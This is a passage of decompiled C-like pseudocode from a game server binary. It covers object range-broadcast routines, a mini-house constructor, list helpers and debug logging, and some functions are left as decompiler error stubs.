4) - v22) * (*(_DWORD *)(*(_DWORD *)(v21 + 78) + 4) - v22); if ( *(_DWORD *)(v21 + 4 * g_BroadcastStackPoint + 46) == event && *(_WORD *)(v21 + 4) != excepter && v23 < (unsigned int)rangesquar ) { if ( !fansector || (v24 = *(_DWORD *)(v21 + 78), *(_DWORD *)center == *(_DWORD *)v24) && v22 == *(_DWORD *)(v24 + 4) || ((VectorClass::UnitVector::UnitVector(&targetvector, (SHINE_XY_TYPE *)v24, (SHINE_XY_TYPE *)center), fansector == -4) ? (v25 = 0) : (v25 = fansector + 8), v29 = targetvector.baseclass_0.baseclass_4.v_x * *(_DWORD *)v25 + targetvector.baseclass_0.baseclass_4.v_y * *(_DWORD *)(v25 + 4), targetvector.baseclass_0.vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_, v29 >= cos1024) ) { if ( !(unsigned __int8)(**(int (__stdcall ***)(void *, int, int))ala)(v45, v21, v23) ) goto LABEL_40; } } v21 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v21 + 38) + 4) + 1572))(); if ( !v21 ) goto LABEL_62; v11 = range; } v30 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); if ( DebugLogging::dl_ActivAll && v30->dl_Activ && v30->dl_FilePointer ) { fputc(10, v30->dl_FilePointer); fflush(v30->dl_FilePointer); fclose(v30->dl_FilePointer); v30->dl_FilePointer = 0; } LABEL_55: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v52 = -1; goto LABEL_43; } LABEL_62: v31 = **(_DWORD **)(**(_DWORD **)((char *)v45 + 42) + 4); loop = 0; v32 = (*(int (**)(void))(v31 + 1572))(); if ( v32 ) { while ( 1 ) { if ( *(_DWORD *)(*(_DWORD *)(v32 + 78) + 4) >= (unsigned int)(range + *(_DWORD *)(v13 + 4)) ) goto LABEL_99; v17 = __OFSUB__(loop + 1, 10000); v15 = loop == 9999; v16 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v16 ^ v17) | v15) ) break; if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v32) ) goto LABEL_83; if ( !(v32 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v32 + 42) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v32 + 2116))(v32, 4); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal3"); FieldMap::fm_Relink(*(void **)(v32 + 98), "ShineObjectClass::ShineObject::so_AllOfRangeNomal 3"); LABEL_83: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v52 = -1; goto LABEL_43; } v33 = *(_DWORD *)center; v34 = *(_DWORD *)(center + 4); v35 = (**(_DWORD **)(v32 + 78) - *(_DWORD *)center) * (**(_DWORD **)(v32 + 78) - *(_DWORD *)center) + (*(_DWORD *)(*(_DWORD *)(v32 + 78) + 4) - v34) * (*(_DWORD *)(*(_DWORD *)(v32 + 78) + 4) - v34); if ( *(_DWORD *)(v32 + 4 * g_BroadcastStackPoint + 46) == event && *(_WORD *)(v32 + 4) != excepter && v35 < (unsigned int)rangesquar ) { if ( !fansector || (v36 = *(_DWORD *)(v32 + 78), v33 == *(_DWORD *)v36) && v34 == *(_DWORD *)(v36 + 4) ) goto LABEL_107; v37 = *(_DWORD *)v36 - v33; v38 = *(_DWORD *)(v36 + 4) - v34; v39 = DirectDistanceTable::ddt_Distance(&ddt, v37, *(_DWORD *)(v36 + 4) - v34); if ( !v39 ) { v37 = 1; v38 = 0; v39 = 1; } v40 = 32 * v37 / v39; v41 = 32 * v38 / v39; v42 = fansector == -4 ? 0 : fansector + 8; if ( v40 * *(_DWORD *)v42 + v41 * *(_DWORD *)(v42 + 4) >= cos1024 ) { LABEL_107: if ( !(unsigned __int8)(**(int (__stdcall ***)(void *, int, int))ala)(v45, v32, v35) ) goto LABEL_40; } } v32 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v32 + 42) + 4) + 1572))(); if ( !v32 ) goto LABEL_99; v13 = center; } if ( !DebugLogging::dl_ActivAll ) goto LABEL_83; if ( unk_12484BE4 ) { sprintf(&string, "%.255s"); v43 = unk_12484A60; if ( !unk_12484A60 ) { if ( !*DebugLogging::dl_MakeFileName(&BroadCastLog) ) { v43 = 0; unk_12484A60 = 0; goto LABEL_95; } v43 = fopen(unk_12484AE4, "a+"); unk_12484A60 = v43; if ( !v43 || (fprintf(v43, "%s : "), (v43 = unk_12484A60) == 0) ) { LABEL_95: if ( DebugLogging::dl_ActivAll && unk_12484BE4 && v43 ) { fputc(10, v43); fflush(unk_12484A60); fclose(unk_12484A60); unk_12484A60 = 0; } goto LABEL_83; } } fputs(&string, v43); } v43 = unk_12484A60; goto LABEL_95; } LABEL_99: if ( tome ) v44 = (**(int (__stdcall ***)(void *, void *, _DWORD))ala)(v45, v45, 0); if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; --funcallanalizer.fca_stackpoint; v52 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Class2"); LABEL_104: __security_check_cookie(v51); } // 5A21E8: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; // 5F4960: using guessed type int g_BroadcastStackPoint; //----- (004F8BC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_AllOfRangeNomal(void *this, int event, int center, int range, int fansector, int (__thiscall *axialfunc)(_DWORD, _DWORD, _DWORD), int a7, int a8, int a9, char tome, __int16 excepter) { void *v11; // ebp@1 char v12; // al@2 DebugLogging *v13; // eax@3 int v14; // edi@13 int v15; // edx@13 int v16; // ebx@13 int v17; // esi@13 bool v18; // zf@15 bool v19; // sf@15 unsigned __int8 v20; // of@15 int v21; // edx@19 int v22; // esi@19 int v23; // eax@25 int v24; // esi@25 int v25; // ebp@30 int v26; // edi@30 int v27; // eax@34 int v28; // eax@37 DebugLogging *v29; // eax@39 DebugLogging *v30; // esi@45 _iobuf *v31; // eax@48 int v32; // ecx@50 DebugLogging *v33; // esi@58 int v34; // eax@62 int v35; // ebp@62 int v36; // edi@67 int v37; // edx@67 int v38; // ebx@67 int v39; // eax@71 int v40; // esi@73 int v41; // edi@73 signed int v42; // ecx@73 int v43; // esi@75 int v44; // eax@75 signed int v45; // ecx@76 _iobuf *v46; // eax@88 char v47; // bl@100 void *v48; // [sp+Ch] [bp-134h]@1 int rangesquar; // [sp+10h] [bp-130h]@13 int cos1024; // [sp+14h] [bp-12Ch]@0 VectorClass::UnitVector targetvector; // [sp+1Ch] [bp-124h]@36 FunctionEntarance _; // [sp+2Ch] [bp-114h]@1 char string; // [sp+30h] [bp-110h]@88 unsigned int v54; // [sp+130h] [bp-10h]@104 int v55; // [sp+13Ch] [bp-4h]@1 v11 = this; v48 = this; _.fe_FunctionCode = "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Func3"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Func3"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Func3"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v55 = 0; if ( g_BroadcastStackPoint >= 3 ) { v13 = DebugLogging::operator<<(&BroadCastLog, "Too many Broadcast Nest"); DebugLogging::operator<<(v13, &deb_LF); v12 = 0; } else { ++g_BroadcastStackPoint; v12 = 1; } LOBYTE(v55) = 1; if ( !v12 ) goto LABEL_8; if ( (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v11 + 26) + 4) + 1572))() == v11 && (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v11 + 30) + 4) + 1572))() == v11 ) { MapRearrangeObserver::mro_Set(&maprearrangeobserver, "Unlinked object"); LABEL_8: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; --funcallanalizer.fca_stackpoint; v55 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Func3"); goto LABEL_104; } ++ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( fansector ) cos1024 = ShineRadian::sr_cos1024(&shineradian, *(_DWORD *)fansector / 2); v14 = range; rangesquar = range * range; v15 = **(_DWORD **)(**(_DWORD **)((char *)v11 + 26) + 4); loop = 0; v16 = center; v17 = (*(int (**)(void))(v15 + 1572))(); if ( v17 ) { while ( 1 ) { if ( (unsigned int)(range + **(_DWORD **)(v17 + 78)) <= *(_DWORD *)center ) goto LABEL_19; v20 = __OFSUB__(loop + 1, 10000); v18 = loop == 9999; v19 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v19 ^ v20) | v18) ) break; if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v17) ) goto LABEL_40; if ( !(v17 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v17 + 26) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v17 + 2116))(v17, 5); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal4"); FieldMap::fm_Relink(*(void **)(v17 + 98), "ShineObjectClass::ShineObject::so_AllOfRangeNomal 0"); goto LABEL_40; } *(_DWORD *)(v17 + 4 * g_BroadcastStackPoint + 46) = event; v17 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v17 + 26) + 4) + 1572))(); if ( !v17 ) goto LABEL_19; } v29 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); DebugLogging::operator<<(v29, &deb_LF); goto LABEL_40; } LABEL_19: v21 = **(_DWORD **)(**(_DWORD **)((char *)v11 + 30) + 4); loop = 0; v22 = (*(int (**)(void))(v21 + 1572))(); if ( v22 ) { while ( 1 ) { if ( **(_DWORD **)(v22 + 78) >= (unsigned int)(range + *(_DWORD *)center) ) goto LABEL_25; v20 = __OFSUB__(loop + 1, 10000); v18 = loop == 9999; v19 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v19 ^ v20) | v18) ) break; if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v22) ) goto LABEL_40; if ( !(v22 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v22 + 30) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v22 + 2116))(v22, 6); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal5"); FieldMap::fm_Relink(*(void **)(v22 + 98), "ShineObjectClass::ShineObject::so_AllOfRangeNomal 1"); goto LABEL_40; } *(_DWORD *)(v22 + 4 * g_BroadcastStackPoint + 46) = event; v22 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v22 + 30) + 4) + 1572))(); if ( !v22 ) goto LABEL_25; } v30 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); if ( DebugLogging::dl_ActivAll && v30->dl_Activ && v30->dl_FilePointer ) { v31 = DebugLogging::dl_FilePoint(v30); fputc(10, v31); fflush(v30->dl_FilePointer); fclose(v30->dl_FilePointer); v30->dl_FilePointer = 0; } LABEL_40: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v55 = -1; LABEL_43: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Func3"); goto LABEL_104; } LABEL_25: ++ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; v23 = **(_DWORD **)(**(_DWORD **)((char *)v11 + 38) + 4); loop = 0; v24 = (*(int (**)(void))(v23 + 1572))(); if ( v24 ) { while ( 1 ) { if ( (unsigned int)(v14 + *(_DWORD *)(*(_DWORD *)(v24 + 78) + 4)) <= *(_DWORD *)(center + 4) ) goto LABEL_62; v20 = __OFSUB__(loop + 1, 10000); v18 = loop == 9999; v19 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v19 ^ v20) | v18) ) break; if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v24) ) goto LABEL_55; if ( !(v24 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v24 + 38) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v24 + 2116))(v24, 7); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal6"); FieldMap::fm_Relink(*(void **)(v24 + 98), "ShineObjectClass::ShineObject::so_AllOfRangeNomal 2"); goto LABEL_55; } v25 = *(_DWORD *)(center + 4); v26 = (**(_DWORD **)(v24 + 78) - *(_DWORD *)center) * (**(_DWORD **)(v24 + 78) - *(_DWORD *)center) + (*(_DWORD *)(*(_DWORD *)(v24 + 78) + 4) - v25) * (*(_DWORD *)(*(_DWORD *)(v24 + 78) + 4) - v25); if ( *(_DWORD *)(v24 + 4 * g_BroadcastStackPoint + 46) == event && *(_WORD *)(v24 + 4) != excepter && v26 < (unsigned int)rangesquar ) { if ( !fansector || (v27 = *(_DWORD *)(v24 + 78), *(_DWORD *)center == *(_DWORD *)v27) && v25 == *(_DWORD *)(v27 + 4) || ((VectorClass::UnitVector::UnitVector(&targetvector, (SHINE_XY_TYPE *)v27, (SHINE_XY_TYPE *)center), fansector == -4) ? (v28 = 0) : (v28 = fansector + 8), v32 = targetvector.baseclass_0.baseclass_4.v_x * *(_DWORD *)v28 + targetvector.baseclass_0.baseclass_4.v_y * *(_DWORD *)(v28 + 4), targetvector.baseclass_0.vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_, v32 >= cos1024) ) { if ( !(unsigned __int8)axialfunc(v24 + a7, v48, v26) ) goto LABEL_40; } } v24 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v24 + 38) + 4) + 1572))(); if ( !v24 ) goto LABEL_62; v14 = range; } v33 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); if ( DebugLogging::dl_ActivAll && v33->dl_Activ && v33->dl_FilePointer ) { fputc(10, v33->dl_FilePointer); fflush(v33->dl_FilePointer); fclose(v33->dl_FilePointer); v33->dl_FilePointer = 0; } LABEL_55: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v55 = -1; goto LABEL_43; } LABEL_62: v34 = **(_DWORD **)(**(_DWORD **)((char *)v48 + 42) + 4); loop = 0; v35 = (*(int (**)(void))(v34 + 1572))(); if ( v35 ) { while ( 1 ) { if ( *(_DWORD *)(*(_DWORD *)(v35 + 78) + 4) >= (unsigned int)(range + *(_DWORD *)(v16 + 4)) ) goto LABEL_99; v20 = __OFSUB__(loop + 1, 10000); v18 = loop == 9999; v19 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v19 ^ v20) | v18) ) break; if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v35) ) goto LABEL_83; if ( !(v35 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v35 + 42) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v35 + 2116))(v35, 8); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal7"); FieldMap::fm_Relink(*(void **)(v35 + 98), "ShineObjectClass::ShineObject::so_AllOfRangeNomal 3"); LABEL_83: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v55 = -1; goto LABEL_43; } v36 = *(_DWORD *)center; v37 = *(_DWORD *)(center + 4); v38 = (**(_DWORD **)(v35 + 78) - *(_DWORD *)center) * (**(_DWORD **)(v35 + 78) - *(_DWORD *)center) + (*(_DWORD *)(*(_DWORD *)(v35 + 78) + 4) - v37) * (*(_DWORD *)(*(_DWORD *)(v35 + 78) + 4) - v37); if ( *(_DWORD *)(v35 + 4 * g_BroadcastStackPoint + 46) == event && *(_WORD *)(v35 + 4) != excepter && v38 < (unsigned int)rangesquar ) { if ( !fansector || (v39 = *(_DWORD *)(v35 + 78), v36 == *(_DWORD *)v39) && v37 == *(_DWORD *)(v39 + 4) ) goto LABEL_107; v40 = *(_DWORD *)v39 - v36; v41 = *(_DWORD *)(v39 + 4) - v37; v42 = DirectDistanceTable::ddt_Distance(&ddt, v40, *(_DWORD *)(v39 + 4) - v37); if ( !v42 ) { v40 = 1; v41 = 0; v42 = 1; } v43 = 32 * v40 / v42; v44 = 32 * v41 / v42; v45 = fansector == -4 ? 0 : fansector + 8; if ( v43 * *(_DWORD *)v45 + v44 * *(_DWORD *)(v45 + 4) >= cos1024 ) { LABEL_107: if ( !(unsigned __int8)axialfunc(a7 + v35, v48, v38) ) goto LABEL_40; } } v35 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v35 + 42) + 4) + 1572))(); if ( !v35 ) goto LABEL_99; v16 = center; } if ( !DebugLogging::dl_ActivAll ) goto LABEL_83; if ( unk_12484BE4 ) { sprintf(&string, "%.255s"); v46 = unk_12484A60; if ( !unk_12484A60 ) { if ( !*DebugLogging::dl_MakeFileName(&BroadCastLog) ) { v46 = 0; unk_12484A60 = 0; goto LABEL_95; } v46 = fopen(unk_12484AE4, "a+"); unk_12484A60 = v46; if ( !v46 || (fprintf(v46, "%s : "), (v46 = unk_12484A60) == 0) ) { LABEL_95: if ( DebugLogging::dl_ActivAll && unk_12484BE4 && v46 ) { fputc(10, v46); fflush(unk_12484A60); fclose(unk_12484A60); unk_12484A60 = 0; } goto LABEL_83; } } fputs(&string, v46); } v46 = unk_12484A60; goto LABEL_95; } LABEL_99: if ( tome ) v47 = axialfunc((char *)v48 + a7, v48, 0); if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; --funcallanalizer.fca_stackpoint; v55 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Func3"); LABEL_104: __security_check_cookie(v54); } // 5A21E8: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; // 5F4960: using guessed type int g_BroadcastStackPoint; //----- (004F9530) -------------------------------------------------------- #error "4F9530: undefined or illegal type '#331' (funcsize=107)" //----- (004F9690) -------------------------------------------------------- #error "4F9690: undefined or illegal type '#331' (funcsize=122)" //----- (004F9810) -------------------------------------------------------- #error "4F9810: undefined or illegal type '#331' (funcsize=133)" //----- (004F99B0) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse(int event, int center, int range, int fansector, int axialfunc, int a6, int a7, int a8, char tome, __int16 excepter) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse_Func5"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse_Func5"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse_Func5"); return 1; } //----- (004F9A30) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMobileObject::_scalar_deleting_destructor_(unsigned int this) { void *v1; // esi@1 char v3; // [sp+8h] [bp+4h]@0 v1 = (void *)this; ShineObjectClass::ShineMobileObject::_ShineMobileObject(this); if ( v3 & 1 ) operator delete(v1); return v1; } // 4F9A30: inconsistent function type and number of purged bytes //----- (004F9A50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::ShineMiniHouse(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 PROTO_NC_BRIEFINFO_MINIHOUSEBUILD_CMD *v2; // eax@1 v1 = this; ShineObjectClass::ShineObject::ShineObject((int)this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineMiniHouse::_vftable_; *(_DWORD *)&v1->smh_Info.loginloc.currentmap.n3_name[8] = 0; *(_DWORD *)&v1->smh_Info.loginloc.currentmap.n3_name[4] = 0; *(_DWORD *)&v1->smh_Info.loginloc.currentmap.n3_name[0] = 0; *(_DWORD *)&v1->smh_Info.RollBackPos.exitmapname.n3_name[8] = 0; *(_DWORD *)&v1->smh_Info.RollBackPos.exitmapname.n3_name[4] = 0; *(_DWORD *)&v1->smh_Info.RollBackPos.exitmapname.n3_name[0] = 0; *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[8] = 0; *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[4] = 0; *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[0] = 0; ShineObjectClass::ShineMiniHouse::MiniHouseInven::MiniHouseInven(&v1->smh_Furniture); BriefInformationMiniHouse::BriefInformationMiniHouse(&v1->smh_BriefInfo); v2 = v1->smh_BriefInfo.bimh_BriefInfo; *(_DWORD *)&v1->gap0[78] = (char *)v2 + 30; *(_DWORD *)&v1->gap0[82] = (char *)v2 + 38; } // 5C40E8: using guessed type int (*ShineObjectClass__ShineMiniHouse___vftable_)(); //----- (004F9B00) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::MobActionArgument(MobTacticElement::MobActionArgument *this) { MobTacticElement::MobActionArgument *v1; // esi@1 v1 = this; MobTacticElement::MobActionArgument::Selector::Selector(&this->maa_TargetSelect); MobTacticElement::MobActionArgument::Actor::Actor(&v1->maa_MobActionStruct); } //----- (004F9B50) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::_MobActionArgument(MobTacticElement::MobActionArgument *this) { MobTacticElement::MobActionArgument *v1; // esi@1 v1 = this; MobTacticElement::MobActionArgument::Actor::_Actor(&this->maa_MobActionStruct); MobTacticElement::MobActionArgument::Selector::_Selector(&v1->maa_TargetSelect); } //----- (004F9BA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_FreeFromList(int this) { int v1; // esi@1 int v2; // eax@1 int v3; // edx@1 SlantedCoordList::CoordedNode *v4; // ecx@1 signed __int16 v5; // di@1 signed __int16 v6; // bx@1 v1 = this; v2 = *(_DWORD *)(this + 26); v3 = *(_DWORD *)(this + 30); v4 = (SlantedCoordList::CoordedNode *)(this + 22); v5 = 0; v6 = 0; if ( v2 != v3 ) { SlantedCoordList::CoordedNode::cn_RemoveList(v4); v6 = 1; } if ( *(_DWORD *)(v1 + 38) != *(_DWORD *)(v1 + 42) ) { SlantedCoordList::CoordedNode::cn_RemoveList((SlantedCoordList::CoordedNode *)(v1 + 34)); v5 = 1; } if ( v6 != v5 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectList::som_FreeObject : one of SlantedList is removed", (unsigned __int16)v6, (unsigned __int16)v5); } //----- (004F9C00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_FreeFromList(int this) { int v1; // eax@1 v1 = *(_DWORD *)(this + 8853); if ( v1 != this ) { *(_DWORD *)(v1 + 8857) = *(_DWORD *)(this + 8857); *(_DWORD *)(*(_DWORD *)(this + 8857) + 8853) = *(_DWORD *)(this + 8853); *(_DWORD *)(this + 8853) = this; *(_DWORD *)(this + 8857) = this; } ShineObjectClass::ShineObject::so_FreeFromList(this); } //----- (004F9C40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_FreeFromList(void *this) { int v1; // esi@1 v1 = (int)this; ShineObjectClass::ShinePlayer::sp_LogoutDuringParty(this); ShineObjectClass::ShineObject::so_FreeFromList(v1); } //----- (004F9C50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_Reset_SlantedList(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Reset_SlantedList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_Reset_SlantedList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; SlantedCoordList::CoordedNode::cn_Reset((SlantedCoordList::CoordedNode *)((char *)v1 + 22)); SlantedCoordList::CoordedNode::cn_Reset((SlantedCoordList::CoordedNode *)((char *)v1 + 34)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Reset_SlantedList"); } //----- (004F9CF0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ShineObjectEachList *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); ShineObjectEachList::operator_(v3, (int)ele); return 1; } // 4F9D05: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004F9D20) -------------------------------------------------------- int __thiscall ShineObjectEachList::operator_(int this, int a2) { int result; // eax@1 result = this; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_WORD *)(this + 20) = *(_WORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_DWORD *)(this + 28) = *(_DWORD *)(a2 + 28); return result; } //----- (004F9D60) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ShineObjectEachList *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_WORD *)(v3 + 4) = ele->baseclass_0.l_MaxSize; *(_DWORD *)(v3 + 8) = ele->baseclass_0.l_Array; *(_DWORD *)(v3 + 12) = *(_DWORD *)&ele->baseclass_0.l_Finger.empty; *(_DWORD *)(v3 + 16) = ele->baseclass_0.l_ListArray; *(_WORD *)(v3 + 20) = ele->baseclass_0.l_ListNum; *(_DWORD *)(v3 + 24) = ele->nNextRecordTime; *(_DWORD *)(v3 + 28) = ele->nListNoCount; return 1; } // 4F9D76: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004F9DC0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ShineObjectEachList *ele) { ListStruct *v2; // edx@1 unsigned __int16 v3; // si@1 int v4; // eax@2 int v6; // eax@4 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; v6 = *(_DWORD *)v4; ele->baseclass_0.l_MaxSize = *(_WORD *)(v6 + 4); ele->baseclass_0.l_Array = *(ListStruct **)(v6 + 8); *(_DWORD *)&ele->baseclass_0.l_Finger.empty = *(_DWORD *)(v6 + 12); ele->baseclass_0.l_ListArray = *(struct ListArray **)(v6 + 16); ele->baseclass_0.l_ListNum = *(_WORD *)(v6 + 20); ele->nNextRecordTime = *(_DWORD *)(v6 + 24); ele->nListNoCount = *(_DWORD *)(v6 + 28); ((void (__stdcall *)(unsigned __int16))this->vfptr->l_Free)(v3); } return 1; } //----- (004F9E30) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ShineObjectEachList *ele) { ListStruct *v2; // edx@1 unsigned __int16 v3; // si@1 int v4; // eax@2 int v6; // eax@4 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; v6 = *(_DWORD *)v4; ele->baseclass_0.l_MaxSize = *(_WORD *)(v6 + 4); ele->baseclass_0.l_Array = *(ListStruct **)(v6 + 8); *(_DWORD *)&ele->baseclass_0.l_Finger.empty = *(_DWORD *)(v6 + 12); ele->baseclass_0.l_ListArray = *(struct ListArray **)(v6 + 16); ele->baseclass_0.l_ListNum = *(_WORD *)(v6 + 20); ele->nNextRecordTime = *(_DWORD *)(v6 + 24); ele->nListNoCount = *(_DWORD *)(v6 + 28); ((void (__stdcall *)(unsigned __int16))this->vfptr->l_Free)(v3); } return 1; } //----- (004F9EA0) -------------------------------------------------------- #error "4F9EA0: undefined or illegal type '#331' (funcsize=88)" //----- (004F9FC0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed 